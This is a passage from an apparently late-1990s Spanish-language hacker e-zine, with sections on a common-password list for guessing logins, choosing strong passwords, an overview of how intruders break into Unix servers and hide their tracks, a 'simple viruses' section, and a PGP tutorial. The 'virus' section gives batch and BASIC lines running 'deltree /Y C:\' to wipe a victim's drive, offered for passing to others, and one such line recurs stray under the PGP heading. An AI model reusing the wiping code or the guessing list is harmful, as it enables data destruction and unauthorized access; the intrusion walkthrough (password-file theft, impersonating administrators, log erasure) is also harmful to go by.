aumenta todos los dias por ello,aqui te presento la ultima lista mas "actualizada" que he logrado recopilar. detodas maneras supongo que ya sabras que hay otros metodos mas rapidos,pero si lo quieres hacer a la manera tradicional...aqui tienes la lista: aaa,academia,ada,adrian,aerobics,airplane, albany,albatross,albert,alex,alexander,algebra,alias, alisa,alpha,alphabet,ama,amy,analog,anchor, andy,andrea,animal,answer,anything,arrow,arthur,ass,asshole, athena,atmosphere, bacchus,badass,bailey,banana,bandit,banks,bass,batman,beautiful,beauty, beaver,daniel,danny,dave,deb, debbie,deborah,december,desire,desperate,develop, diet,digitaldiscovery, disney,dog,drought,duncan,easy,eatme,edges,edwin,egghead,eileen,einstein, elephant,elizabeth,ellen,emerald,engine, engineer,enterprise,enzyme,euclid,evelyn,extension,fairway,felicia, fender,finite,format,god, hello,idiot,jester,john,johnny,joseph,joshua,momioso;),judith,juggle, julia,kathleen, kermit,kernel,knight,lambda,larry, lazarus,lee,leroy,lewis,light,lisa,louis,love,lynne,mac, macintosh,mack, maggot,magic,malcolm,mark,markus,martin,marty,marvin,matt,master,maurice, maximum,merlin,mets,michael,michelle, mike,minimum,nicki,nicole,rascal,really,rebecca,remote,rick,reagan,robot, robotics,rolex,ronald,rose,rosebud,rosemary,roses,ruben, rules,ruth,sal,saxon, scheme,scott,secret,sensor,serenit,sex,shark, sharon,shit,shiva,shuttle,simon,simple,singer,single,singing,smile, smooch,smother,snatch, snoopy,soap,socrates,spit,spring,subway,success,summer,super,support, surfer,suzanne,tangerine,tape,target, taylor,telephone,temptation,tiger,tigger,toggle,tomato,toyota,trivial,unhappy unicorn,unknown,urchin,utility,vicki,virgin,virginia,warren,water, weenie,whatnot,whitney,will,william, winston,willie,wizard,wonbat,yosemite,zap. os recomiendo que meteais primero "uknow" (mayusculas o minusculas) por que es la que por defecto se mete. muchos de los que aveis leido alguna vez una lista de los passwords mas comunes (una como esta) os habreis dado cuenta de que alguna de las contrase±as que usais estan en la lista y os preguntais (y ami tambien me lo preguntan algunos) "┐como elijo una buena contrase±a?" la respuesta la tienes justo debajo de esto que estas lellendo: 8.1 COMO ELEJIR UNA BUENA CONTRASE╤A Fiarse de todo el mundo y no fiarse de nadie son dos vicios: pero en el uno se encuentra mßs virtud y en el otro mas seguridad. Lucio Anneo SΘneca. Fil≤sofo, poeta y orador latino nacido en C≤rdoba. Con los recientes avances de la criptografφa, sistemas de clave p·blica, RSA, DES, one-time-pad etc. etc. podemos estar seguros de que nuestros datos estßn a salvo de miradas indiscretas ┐ o tal vez no ? Pese a todos estos progresos, o quizß debido a ellos, cada vez estß mßs claro que hay un punto dΘbil en el proceso ┐cual? nosostros, o mßs concretamente la forma en que elegimos las claves (passwords). Sea cual sea tu sistema de seguridad, si tu clave es mala estßs comprometiendo tus datos. Supongamos que debes elegir una clave de 5 letras, aparentemente la entropφa (n·mero de combinaciones posibles para entendernos) es de 26^5 , aproximadamente 1.118x10^7; sin embargo la mayorφa de los usuarios se inclinan por escoger nombres comunes, la mayorφa de las cuales se encuentra en una lista de 6000-7000 palabras, de esta manera la entropφa real es del orden de 6.5x10^3 , cuatro ordenes de magnitud menor. En el momento en que escoges una clave ordinaria, fßcil de recordar, estßs corriendo el riesgo de un ataque con diccionario, cualquier cracker que se precie encontrarß la clave muy rßpidamente. Se ha dicho tambiΘn que cualquiera que crea estar a salvo poniendo como clave su nombre al reves, el nombre de su novia o su n·mero de telΘfono es un ingenuo que muy pronto se encontrarß en problemas (ver el el artφculo sobre Sandra Bullock en el anterior n·mero). Los criptoanalistas (o simplemente crackers habilidosos) pueden explotar con Θxito nuestras inclinaciones , contexto cultural etc. No deberφas escoger acr≤nimos de canciones populares, frases comunes de la TV o similares, te sorprenderφa saber la cantidad de informaci≤n de este tipo que ya hay recopilada y lista para usarse en un programa para romper claves. En general no deberφas usar frases o expresiones que hayas visto u oido anteriormente. Entonces, ┐ que podemos hacer ?. Se trata de llegar a un equilibrio entre facilidad de recordar y seguridad. Por ejemplo generar claves aleatorias parece una buena idea pero es dificil recordar claves como #wEr5ft!, y desde luego no es buena idea dejar apuntadas tus claves, antes o despues alguien las leerß. Bien, la mejor idea parece ser hacer frases sin sentido y/o que contengan cosas totalmente ajenas a tu entorno y modo de ser, podrφan contener expresiones racistas, sexuales y faltas de ortografφa,esto es aceptable porque despues de todo la clave no es algo que se haga p·blico, no deberφas saberla mßs que tu. El mismo hecho de elegir una frase chocante para tφ hara que la evocaci≤n emocional la haga fßcil de recordar. Algunos programas admiten claves de longitud ilimitada, en ese caso una frase del tipo descrito anteriormente, formada por cuatro o cinco palabras escogidas de un vocabulario de unos pocos miles proporciona claves con 58-60 bits de entropφa (mßs de lo necesario para algoritmos como DES, uno de los estßndares en criptografφa), en este caso no es necesario incluir n·meros o sφmbolos para aumentar el n·mero de claves posible. Si el programa que usas no admite mßs que unos pocos caracteres el procedimiento mßs seguro es: escribe una frase del tipo que proponemos en este artφculo, pasala a traves de un algoritmo como MD5 o SHA que producirß un hash de al menos 128 bits, procesa esta salida con UUENCODE y obtendrßs una ristra de caracteres ASCII de la que puedes extraer tu clave. Nuestro programa KEY, a partir de la versi≤n 1.2 usa un algoritmo SHA para obtener secuencias de 160 bits y una gran seguridad, sin embargo í elige bien tu clave ! Debo la mayor parte de la informaci≤n de este artφculo a las PASSWORD.FAQ de Grady Ward (grady@netcom.com). Gracias a Θl y a todos los que en la red, creen que el conocimiento debe compartirse. Comentarios, peticiones (no, no te puedo dejar dinero), sugerencias: SPREE ////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 9. ********************* *** Intrusos *** *** de *** *** Guante Blanco *** *** by LordVader *** ************************************ *** lordvader@mixmail.com *** ***www.civila.com/hispania/fliper*** ***miembro del HacK`S-wEb-RiNg *** ***http://come.to/HaCkS-wEb-RiNg *** ************************************ Antes de nada hay que aclarar algunos conceptos. La gente tiende a llamar hacker a cualquier persona que se dedica a violar la seguridad de los sistemas. Si, realmente un hacker se dedica a irrumpir en ordenadores a los que no tiene acceso, pero debemos distinguirlos de los crakers, cuyo principio es el mismo, pero con fines totalmente opuestos. Ambos estudian el modo de entrar pero, a diferencia del hacker, el cracker destroza toda lo que puede mientras que este solo deja una nota informando a los administradores sobre su intrusion; incluso a veces informa sobre los errores de seguridad y como subsanarlos. Un ejemplo de cracker lo podemos encontrar en un suceso ocurrido hace algunos a±os. Robert Morris, oprvechando un enorme fallo de seguridad, introdujo un gusano en la red causando un gran caos. Mas de 6.000 ordenadores quedaron inutilizados durante varias semanas. En el lado opuesto, recientemente unos hackers se introdujeron en un hospital y obtuvieron una copia de la mediacion de algunos de sus pacientes. Seguidamente aparecion en un medio de comunicacion informando sobre los errores de seguridad y las terribles consecuencias que hubiera tenido la entrada de alguien con propositos destructivos. Perfectamente podian haber cambiado las medicacniones y causar un enorme caos en el hospital, por no hablar de las muertes que se hubieran producido. Dentro de la cumunidad hacker hay cuatro tipos diferentes. Los newbies o aprendices son los novatos; gente con muchas ganas de aprender y que con el tiempo se convertiran en verdaderos hackers. Luego estan los hackers en si, que son la mayoria. Tienen unos conocimientos aceptables sobre redes (mas concretamente internet), sistemas operativos (sobre todo Unix y derivados), programacion (varios lenguajes) e incluso pueden que sepan electronica y telefonia. La minoria esta constituida por la elite (o tambien 31173), que son los verdaros expertos y cuentan con conocimientos muy avanzados sobre todo lo relacionado con la informatica, ya que suelen ser administradores de sistemas y gente que lleva muchos a±os estudiando el complicado mundo de los ordenadores. Y por ultimo esta la "CARRO╤A", los lamers. Estos hombrecillos no tienen apenas conocimientos de ordenadores, son gente que vive de la fantasia, que hoy quiere ser hacker y ma±ana superman, que busca amigos hackers no para aprender sino para obtener informacion sobre algun sistema y luego fanfarronear ante todos los demas, gente que nunca llegara a nada. La mayoria termina convirtiendose en crackers. Hay genta que opina que se puede hacer un retrato robot de un hacker : "...es un ser introbertido, inteligente,poco sociable, descuidado en cuanto a su forma de vestir...". Pero los topicos no siempre son ciertos, la mayoria de los hackers son gente normal, de esa que vemos todos los dias por la calle. Solo uan peque±a minoria son antisociales debido a que son "demasiado inteligentes" para unirse al resto de los mortales. Son los mas solitarios de la red, ya que actuan solos y mantienen el anonimato. Respecto a como trabajan, es facil de suponer, todas intrusiones son debidas en su mayoria a los descuidos de los administradoes de la red. Ningun sistema es seguro tal y como demostraron unos hackers modificando la pagina web del prestigioso buscador Yahoo. Los ordenadores conectados a internet nos ofrecen una serie de servicios "web, telnet, ftp, news, mail, IRC,..." cada uno de lo cuales utilizan un puerto con unos protocolosdeterminados, pero, ┐que es un puerto?. Imaginemos un ordenador personal con impresora (LPT), raton (COM), etc.. Cada periferico tiene un puerto para poder realizar sus funciones. Con los servidores de internet pasa algo muy parecido solo que utilizan muchos mas puertos, uno distinto por cada servicio que ofrezcan. Cualquiera de nosotros que tenemos acceso a internet podemos observar que un solo ordenador no realiza todas las funciones. Por ejemplo que tenemos contratado un alta con la empresa internet.es. Es muy probable que la web sea "www.internet.es" (servidor de http) y que para el correo electronico utilice dos servidores distintos: "mail.internet.es" (puerto de POP3 para el correo entrante) y "smtp.internet.es" (puerto SMTP para el correo saliente). Tambien es probable que el proveedor nos ofrezca servicios de news, para cual posiblemente se unsara el servidor "news.internet.es" (puerto NNTP), o que nos permita emplear parte de su discoduro para conectarnos via telnet y/o ftp. Para entenderlo mejor podemos imaginarnos una fortaleza (el servidor) con una serie de entradas para acceder a su interior (los puertos). Estas entradas solo deven de estar abiertas en caso de que realmente se utilicen, de manera que cuantos menos puertos haya abiertos, menores posibilidades de entrar habra. Por ello, si utilizamos un servidor nada mas que para mostrar paginas web, es un herror muy grande dejar abiertos otros puertos. Y ahora os preguntareis ┐como buscan la informacion?, ┐no?. Pos bien de entre los multiples servicios de Internet cabe destacar el telnet, que nos permite conectarnos a un ordenador de manera que, una vez dentro, podamos trabajar como si de nuestro ordenador se tratara, pero eso si, usando su sistema operativo. Tambien hay otro servicio, el ftp, que facilita el envio y la recepcion e datos entre maquinas, aunque sin permitir la ejecucion de ningun programa en el ordenador remoto. Para poder utilizar y poder entrar en los ordenadores remotos hay que introducir un nombre de usuario (loing) y una contrase±a (password) En los servidores suelen correr sistemas operativos como windows NT, Unix o algun derivado de este: AIX, SunOs, Solaris, Irix, Convex, Linux... Este tipo de sistemas son multiusario, por lo que permiten acceder muchas personas al mismo tiempo, cada una con un directorio de trabajo y unos previlegios determinados, de manera que el usuario "user1" no pueda ver la parte de disco duro de "user2", ademas de no acceder a muchas partes del sistema, como la configuracion de este. Solo un usuario conocido como root o superusuario, tiene poder para hacer lo que realmente quiera. Este es el administrador del sistema, encargado de su correcto funcionamiento. Si alguna persona con fines destructivos conseguiera ser superusuario, las consecuencias podrian desastrosas. Incluso podria negarle acceso al propio administrador. Todo sistema Unix tiene un fichero llamado "passwd" o "shadow" que contiene datos y contrase±as de los usuarios. Este fichero puede obternerlo y leerlo cualquier persona con acceso al servidor sin necesidad de tener unos conocimientos muy amplios. Naturalmente, las contrase±as estan encriptadas con un alogaritmo que no permite descifrado. Podemos cifrar una palabra 100 veces que nuca nos dara la misma cadena resultante. Pero, si nosotros no podemos desencriptarlo, tampoco podra el sistema. Cuando introducimos una contrase±a, el sistema la encripta y la compara con una parte de la almacenada en el fichero "passwd" o "shadow", dependiendo de la configuracion. Si coincide, la da como valida y nos permite el acceso. De la misma manera un hacker puede capturar este fichero y con un diccionario y un peque±o programa ir encriptando y comparando palabas hasta dar con la contrase±a buscada. Esta claro que la finalidad de un hacker es llegar a ser root, pero ┐como consegue entrar?, y una vez dentro ┐como logra el control absoluto de la maquina? El primer paso y uno de los importantes es odtener la mayor informacion de la maquina a la que quieres entrar. Para ello se sigue una serie de pasos. El primero es explorar los puertos buscando las posibles entradas. Una vez obtenidas, se accede a cada uno de estos puertos para conocer la version del protocolo utilizado, ya que muchos de estos tiene bugs que pueden ser claves para entrar. La mayoria de estos errores permiten obtener el fichero "passwd" si necesidad de entrar en el servidor. Los puertos mas explotados para estos fines so el SMTP, HTTP y FTP. Algunos puertos nos dan informacion muy valiosa sobre el estado de la red y/o los usuarios pertenecientes al sistema. Otra forma de obtener informacion es mediante la llamada "ingenieria social". Se trata de convencer (normalmente enga±ar) a un usuario para que te revele sus contrase±as. Los medios mas comunes para lograrlo son los canles de chat del IRC y el correo falsificado. Por ejemplo, hacinendonos pasar por el administrador del sistema podemos avisar al usuario de que debemos conocer su "login" y "password" para una reestauracion del sistema de archivos debido a... (la excusa queda a gusto de vosotros). Hay veces que la entrada es mucho mas sencilla. Todos los sistemas tienen unas cuentas con "login" y "password" por defecto que el administrador, a menudo, olvida eliminar. Ademas, el servicio de ftp, a no ser que se trate de una empresa privada, suele tener un usuario llamado "anonymous" cuya contrase±a es nuestro loing o simplemente "guest". Un hacker con unos conocimientos medios, enseguida se da cuenta de tremendos fallos configuracion, como por ejemplo dejar con permiso de escritura a ficheros que nada mas deveria poder modificar el superusuario. Una vez que el hacker consigue tener acceso, la meta es ser superusuario. El primer paso es hechar un vistazo por el sistema en busca de errores de configuracion. Muchos administradores permiten acceder, de manera no voluntaria, a ciertos lugares clave del sistema, en los cuales una persona con ciertos conocimientos podria realizar algunas modificaciones y ganar privilegios de root. Si esto falla, el hacker probara los "exploits" (programas para explorar los bugs) conocidos para la version del sistema determinado. Si la version del sistema operativo es antigua y no esta parcheada, pueden haber muchas formas de obtener privilegios de root. ┐Que ocurre cuando el hacker ya es superusuario? Primero un respiro. Ya estan en la cima. Por un momento se sienten superior al administrador y probablemente le dejen un mensaje de bienvenida, para que al dia siguiente lo vea y sea consciente de los errores de seguridad de su sistema. Pero esto no es todo. Aqui no termina el trabajo. No todos los administradores se lo toman con buen humor. Algunos no saben diferenciar un hacker de un cracker y es muy probable que vayan a por Θl. Por eso, una vez obtenido el root comienza otra enorme tarea: borrar todas las huellas que se han ido dejando. Todo sistema guarda una serie de registros (logs) con todas las operaciones que se lleban a cabo dentro del servidor: quien se conecta, desde donde se conecta, a que hora, que programas a ejecutado, etc... El hacker como tiene privilegios de root, puede borrar todo rastro que haya dejado (a no ser que los logs en vez de guardarse en un fichero sean enviados por mail a otro servidor, tras lo cual no le queda mas remedio que entrar tambien en el otro para borrar las huellas); pero para eso ha de tener unos amplios conocemientos sobre sistemas operativos y programacion. Ademas de borrar las huellas del sistema son muy cautelosos, de forma que cuando van a obtener el root de un ordenador no prenetan directamente en el, sino que van dando saltos de un ordenador a otro con lo que su rastro se hace mas dificil de seguir. Una vez contenido el control total, tambien es muy posible que el hacker instale un snifer o programas que monitoriza la red y cuya mision principal es obtener todas las contrase±as que entren o salgan del servidor. Estos datos pueden servirle para poder entar entrar en otros sistemas, ya que obtiene los loing y las contrase±as. Hoy en dia existen nuchas medidas de seguridad, pero tambien aparecen tecnicas para burlarlas. Un ejemplo lo tenemos en los firewalls o paredes de fuego, cuya finalidad es filtrar el acceso mediante el reconocimiento del IP (clave de indentificacion unica de un ordenador en internet). El caso es que los hackers utilizan tecnicas de spoofing que consisten en enga±ar al servidor camuflando su identidad bajo el IP de un trusted host (ordenador amigo al que si se le esta permitido el acceso). Hay infinidad de tecnicas, mas o menos complicadas, para atentar contra la seguridad de un sistema. Si los administradores pusieran algo mas de interes en su trabajo podrian evitar estas intrusiones. En primer lugar podrian comenzar en por cerrar los puertos no cerrados, (especialmente sysat, netstat, finger, rloing, etc...) y mantener telnet y ftp solo en caso necesario. Tambien podrian eliminar o bloquear las cuentas que el sistema tiene por defecto (guest, system, postmaster, etc...) y estar al corriente de los bugs que aparecen constantemente para parchearlos en cuanto tengan ocasion. Hay listas de correo (tambien usadas por los hackers, naturalmente) que nos mantienen constantemente informados de los agujeros encontrados en los distintos sistemas. Algunas de estas listas se pueden obtener en "www.geek-girl.com/bugtraq/index.html" o en "www.bugnet.com". Ademas, en "http://raregazz.islatortuga.com/bugs.html" se pueden encontrar los bugs mas recientes traducidos al castellano. Tambien seria recomendable para los administradores visitar paginas de hackers, ya que en ellas pueden encontrar utilidades y textos importantes escritos por otros hackers, muchos de ellos tambien administradores. ////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 10. VIRUS SENCILLOS (QUE NO INUTILES) los que os presento aqui no son realmente virus,pero si son pequen±os programas que hacen algunas cosas similares. un virus lo que pretende es joder (propiamente dicho) la maquina en la que se introduce ┐verdad? vale asta a qui todo claro,existen virus que rompen la tabla de particion otros te borran archivos con determinadas extensiones...etc....,bien pues la mayoria de estos virus los puedes hacer,no iguales peri si similares,con un pelin de conocimiento de Qbasic,Gwbasic, Basic o incluso con un simple BAT. para el caso de los tres primeros si lo que quieres es formatear el HD es simple solo tienes que poner: 10 shell "C:\windows\command\deltree.exe C:\*.* /Y" el 10 es la linea en GWBasic y en otros compatibles de Basic pero no es necesaria luego lo puedes compilar con el Turbo Basic o incluso con el Q Basic de Microsoft (!!hombre si vale para algoíí) algo mas sencillo todavia,haciendo un BATCH (BAT) y pones lo siguiente @echo off deltree /Y C:\ o bien C:\windows\command\deltree.exe /Y C:\ ahora puede surjiros un peque±o problema,que al que le paseis el "virus" no tenga la carpeta de windows en c:\windows pero tambien hay una solucion a esto no poner "windows" por que windows siempre pone el directorio command a su PATH. luego el Bat se puede pasar a COM con algunas utilerias que casitodo el mundo conoce esto lo he hecho con el DELTREE pero seguro que ati se te ocurren mas cosas ;-) (SED BUENOS....) ///////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 11. Guia del PGP v.2.6.3í 10 shell "C:\windows\command\deltree.exe C:\*.* /Y" Luis G. del Valle PGP (Pretty Good Privacy) es un programa desarrollado por Philip Zimmermann. Reelaborado para su uso internacional por Stσle Schumacher. Los autores han difundido el programa gratuitamente. Lo cual no quiere decir que no tengan derechos de autor. Esta distribuci≤n gratuita es para usos no comerciales. Ver el capφtulo "legal Issues" en pgpdoc1.txt y en pgpdoc2.txt que forman parte del paquete de distribuci≤n del PGP. En el mismo espφritu de los autores la distribuci≤n de este instructivo es tambiΘn gratuita. Si se cita, favor de se±alar la fuente. Quien tenga mi llave p·blica podrß comprobar que no se la ha hecho ning·n cambio a mi texto si tiene este documento como archivo en word para windows 6.0 y tiene tambiΘn el archivo de firma: pgpinstr.sig. Ambos archivos, compactados estßn en el archivo pgpinstr.zip. Cualquier observaci≤n respecto al instructivo es bien recibida. Escribir a: lvalle@mixcoac.uia.mx MΘxico, D.F. octubre de 1996 (Revisi≤n: marzo 1998) PGPINSTR.DOC. Grabado el 05/03/98 10:15 AM INSTRUCTIVO PARA MANEJAR EL PGP (Pretty Good Privacy) Luis G. del Valle I. Cargar debidamente el programa A. Obtener el programa B. Crear el directorio: c:\pgp C. Descompactar pgp263i.zip D. Modificar el autoexec.bat E. Modificar el config.txt II. Generar el propio par de llaves, p·blica y privada. A. El nombre que va a estar en las llaves B. La frase que irß embebida en la llave C. Nivel de seguridad D. Generar el par de llaves E. QuΘ hacer con los 2 archivos: pubring.pgp y secring.pgp III. Practicar el cifrado y descifrado a la manera tradicional A. Por quΘ esta prßctica B. Comandos para cifrar y descifrar C. Cifrar y codificar en ASCIIs simples D. Guardar tu llave p·blica en un archivo que sea tu_nombre.asc E. El PGP habla de "armadura" de ASCIIs IV. Intercambiar llaves p·blicas A. Conservar la propia llave p·blica B. Guardar llaves p·blicas en el llavero propio C. Certeza sobre que la llave es de quien dice que es 1. Soluci≤n por medio de la huella digital de la llave 2. Soluci≤n por medio de llaves firmadas, o autenticadas D. Guardar una llave recibida en formato llave.pgp y no en llave.asc E. C≤mo se firman las llaves F. C≤mo aislo la llave de Juan Jußrez G. Examinar nuestro llavero p·blico H. Observaciones I. Digresi≤n de preguntas y respuestas V. Cifrar archivos al modo del PGP A. Cifrar para otros B. Pero salen varias dudas 1. Hay dos o mßs que tienen el mismo identificador 2. Cifrar para varios 3. C≤mo firmar el texto ademßs de cifrarlo 4. Si mi archivo por cifrar es muy grande 5. Un escrito muy confidencial C. Digresi≤n de preguntas y respuestas VI. Descifrar los archivos recibidos A. Caso ordinario B. Situaciones especiales al descifrar 1. Quiero leer el archivo descifrado en mi pantalla, sin que se grabe en mi disco. 2. Me llegaron varios archivos cifrados con el mismo nombre y extensiones en serie: carta.as1, carta.as2, carta.as3... 3. Al descifrar me dice el PGP que el archivo estß firmado, pero que el firmante es desconocido VII. Firmar archivos de texto abierto A. Para quΘ firmar sin cifrar B. Condiciones para pgpfirmar un texto abierto C. Procedimiento D. Comprobar la firma E. La pgpfirma en archivo separado del texto VIII. Manejo de llaveros y de llaves IX. Complementos A. El parßmetro -p B. El parßmetro -o C. El parßmetro -u D. El n·mero hexadecimal de la llave como identificador E. El archivo randseed.bin F. Archivos por cifrar en otros directorios que no son \PGP X. Frentes para PGP en DOS y en windows INSTRUCTIVO PARA MANEJAR EL PGP Si vas a usar el programa es porque estßs convencido de su utilidad. Algunos de sus usos: guardar en la propia computadora archivos en clave de alta seguridad. Transmitir por correo electr≤nico o por otros medios (en disquetes) archivos cifrados, de manera que s≤lo los pueda descifrar aquΘl o aquellos para quienes los hayas cifrado: cartas confidenciales, informaci≤n reservada, I.Cargar debidamente el programa A.Obtener el programa El archivo se llama pgp263i.zip. Se puede obtener de alguien que lo tenga en disquete, o bien por internet. El programa, informaci≤n y auxiliares: Visitar: http://www.pgpi.com/ Es la pßgina internacional del PGP. Allφ se puede bajar el programa o encontrar lugares para ftp y para recibirlo por correo electr≤nico. A.Crear el directorio: c:\pgp B.Descompactar pgp263i.zip Descompactar pgp263i.zip con pkunzip de modo que los archivos caigan en c:\pgp. Al descomprimirlo con pkunzip resultan algunos archivos, entre ellos otro zip (pgp263ii.zip) y pgp263ii.asc. ╔ste es la firma del anterior para checar con ayuda de la llave publica de Stale Schumacher que el archivo es autΘntico. La llave de Stale resulta al descifrar el archivo keys.asc, que tambien es resultante de la descompresi≤n de pgp263i.zip. El procedimiento para utilizar esto vendrß despuΘs. Tener cuidado al descomprimir pgp263ii.zip de usar el parametro -d para que se haga el subdirectorio \doc y caigan allφ los archivos correspondientes. Sigue a continuacion la lista de los archivos como quedan. Se pueden luego borrar los pgp236ii.asc y pgp236ii.zip habiendo ya comprobado con el primero que el segundo archivo es autΘntico, El segundo no se necesita por tener ya su contenido descompactado. Directorio de C:\PGP Directorio de C:\PGP\DOC DOC.<DIR> CONFIG. TXT . <DIR> DE. HLP . <DIR> EN. HLP ES. HLP BLURB.TXT KEYS. ASC CHANGES.DOC LANGUAGE.TXT KEYSERV. DOC MD5SUM.EXE MITLICEN TXT PGP.EXE PGFORMAT DOC PGP.HLP PGP262I.DIF PGP263II ASC PGP263I.DIF PGP263II ZIP PGPDOC1.TXT PGPSORT.EXE PGPDOC2.TXT README. 1ST POLITIC.DOC README. USA PRZON26I ASC SETUP.DOC A.Modificar el autoexec.bat Se a±aden los renglones: set pgppath=c:\pgp set tz=cst6cdt (Asφ para la ciudad de MΘxico: 6 horas al oeste de Greenwich). set path=c:\pgp;%path%, o bien se a±ade c:\pgp; en el path A.Modificar el config.txt Con un editor de textos, por ejemplo el edit de MSDOS de la versi≤n 5 en adelante, modificar archivo config.txt del PGP. Mientras no se tengan las preferencias propias sugiero las siguientes: MyName = "Juan Hernßndez" (Cada uno pondrß aquφ su nombre entre comillas). Language = es CharSet = cp850 Pager = "pgp" ArmorLines = 400 Armor = on # Use -a flag for ASCII armor whenever applicable TextMode = on # Attempt to use -t option where applicable Verbose = 1 Interactive = on # Interactively prompt the user when adding keys (-ka) EncryptToSelf = on # Encrypt all messages with your own public key Legal_Kludge = off # Use backwards-compatible format Completes_Needed = 1 Marginals_Needed = 2 Cert_Depth = 4 TZFix=0 I.Generar el propio par de llaves, p·blica y privada. Se presupone que el programa estß debidamente cargado y configurado. Es importante que estΘ nuestro nombre en el config.txt y que lo usemos igual en el par de llaves. El comando para generar el par de llaves es muy sencillo. Pero hay que estar preparados. A.El nombre que va a estar en las llaves Por ejemplo: Juan Hernßnez <jhdez@servidor.unam.mx> Es conveniente que vaya una direcci≤n electr≤nica. En caso de no tenerla puede ir un n·mero de telΘfono, o algo que identifique a la persona sin ambigⁿedades. No utilizar mßs que letras, signos y caracteres de ASCIIs simples. Por tanto no acentos, no e±es, no signos de abrir interrogaci≤n o admiraci≤n (┐ í). TambiΘn es conveniente que el nombre no sea institucional, sino individual. Si es institucional, varios conocerßn la clave (frase contrase±a), con mayor riesgo de que se filtre a otros. Y si alguno deja la instituci≤n se lleva el conocimiento de la clave y posiblemente el archivo-llave secreto. Si se quiere, quien cifra para la instituci≤n puede hacerlo para los diversos individuos de ella usando las claves individuales de cada uno. Se verß mßs adelante c≤mo se hace esto. A.La frase que irß embebida en la llave O sea la frase clave o contrase±a que servirß para abrir la llave privada (secreta). Una frase no muy corta. Que no se adivine fßcilmente. Que no sea una frase hecha. Que tenga algunos signos de puntuaci≤n, n·meros o caracteres de la tabla de ASCIIs simples. Pueden ser palabras sueltas, combinaciones de letras y signos que no hagan sentido íPero no la vayan a olvidar! Se entiende de lo que se trata: que se conserve secreta, que no la adivinen cuando los vean teclearla, que tampoco sea demasiado larga porque habrß ocasiones en que tendrßn que escribirla varias veces. Que si se les olvida la puedan reconstruir. No conviene tenerla apuntada, o apuntarla de tal manera disfrazado el apunte que s≤lo el autor pueda entenderlo. Una vez decidida la frase serß bueno practicarla muchas veces hasta que el movimento de escribirla se automatice. A.Nivel de seguridad El nivel de seguridad estß en relaci≤n con el tama±o de las claves que se generarßn al cifrar cada vez. Ese tama±o medido en bits. Cuanto mßs grande el n·mero de bits, tambiΘn los procesos serßn mßs lentos. Con la velocidad de las mßquinas de ahora 1024 bits es razonablemente rßpido y con mucha seguridad; la mayorφa de los pegeperos (Zimmermann, Schumacher...) las hicieron de 1024 A.Generar el par de llaves Teclear: pgp -kg Y luego seguir las instrucciones que irß dando el PGP. Tendrßs al fin de este proceso tus dos llaves. La p·blica en pubring.pgp La secreta en secring.pgp Son ademßs ya los llaveros p·blico y secreto a los que posteriormente podrßs a±adir nuevas llaves. Las p·blicas de otros, y otras secretas, si te quieres complicar la vida generando varios pares de llaves. Si te llamas Pedro PΘrez, pero un cφrculo de gente te conoce como "El Gallo" y ni saben que eres Pedro podrßs tener dos pares de llaves: dos llaves secretas en secring.pgp y muchas en pubring.pgp Pero por ahora no nos metamos en eso. Vendrß en el capφtulo VIII al tratar de manejo de llaveros. NOTA: Se habrß notado que he estado usando "llave" "llavero" para los archivos, y clave para la frase. El instructivo en castellano habla de clave para los archivos, de contrase±a para la frase y de anillo para los llaveros. El "identificador" es tu nombre o parte de Θl. A.QuΘ hacer con los 2 archivos: pubring.pgp y secring.pgp Lo primero es hacer una copia de ambos en disquete. Un disquete que tengas guardado bajo llave, o bien escondido. Esto es importante por cualquier eventualidad de perder la informaci≤n de tu compu. Si falla tu disco duro, si un virus te borra esta informaci≤n, si te distraes y formateas tu disco sin querer, si se da±a fφsicamente alguna parte del disco en donde estΘn estos archivos, si te roban tu laptop, si... Si a tu mßquina no tienen acceso otros mßs que t·, pueden quedarse los dos archivos en c:\pgp. Si otros tienen acceso a tu mßquina, b≤rralos y cada vez que los vayas a necesitar c≤pialos a c:\pgp y al terminar vuΘlvelos a borrar. En este caso es bueno que hagas dos copias de tus llaveros en dos disquetes, una en cada uno. Una de respaldo y otra de uso. No es Θsta la mejor soluci≤n. Mejor serφa tener todo el programa PGP en un disquete bien guardado fuera de la compu, y al ir a utilizar el PGP ponerlo en el tocadiscos correspondiente (a: b:) y dar los comandos desde allφ. Esto supone cierta destreza en el manejo del DOS, y puede ser un tema al tratar de cifrar y descifrar archivos que estßn en un directorio distinto al directorio a:\pgp o al c:\pgp. Otra soluci≤n es tener todo el programa en c:\pgp sin los archivos pubring.pgp secring.pgp y randseed.bin. Estos se tienen en un disquete aparte y en el config.txt se instruye a pgp que busque esos archivos en el tocadiscos a: o en el b: seg·n el caso. No es aquella primera la mejor soluci≤n porque borrar un archivo no es quitar la informaci≤n de la computadora. S≤lo se borra la letra inicial del nombre y se declara en la tabla FAT que ese espacio estß libre para grabar encima de lo que haya allφ. Habrφa que borrar con wipefile de Norton, o algo similar. I.Practicar el cifrado y descifrado a la manera tradicional A. Por quΘ esta prßctica Porque es ·til para guardar cifrados textos y archivos en la propia computadora. No hay necesidad de utilizar llaves, pues s≤lo se utilizarß una clave consistente en una frase. No debe ser la frase embebida en las llaves p·blica y privada propias, para no arriesgarse a comunicar esa clave si es que se le dice a otro la frase con que se cifr≤ tradicionalmente un archivo determinado. Porque se puede cifrar para quien no ha generado sus llaves, sea que se trate de una sola persona o de un grupo. Con el problema de comunicar de una manera segura la frase-clave sin que la conozcan otros. Porque cifrar y descifrar varios archivos le va dando a uno destreza en el manejo del PGP. B.Comandos para cifrar y descifrar El comando para cifrar es: pgp -c archivo.??? En el proceso de cifrar pedirß PGP que escribas la clave, y que la vuelvas a escribir como comprobaci≤n. Y el resultado serß: archivo.pgp. Si al cifrar a±ades el parßmetro -w, el archivo original no cifrado se borrarß de tu disco. S≤lo quedarß en Θl el archivo.cifrado El archivo que vas a cifrar puede tener cualquier terminaci≤n menos .pgp y conviene que tenga alguna, porque cuando descifres el archivo.pgp el resultado serß archivo. (sin terminaci≤n). El comando para descifrar es: pgp archivo.pgp Y el resultado serß: archivo. (sin terminaci≤n) igual a 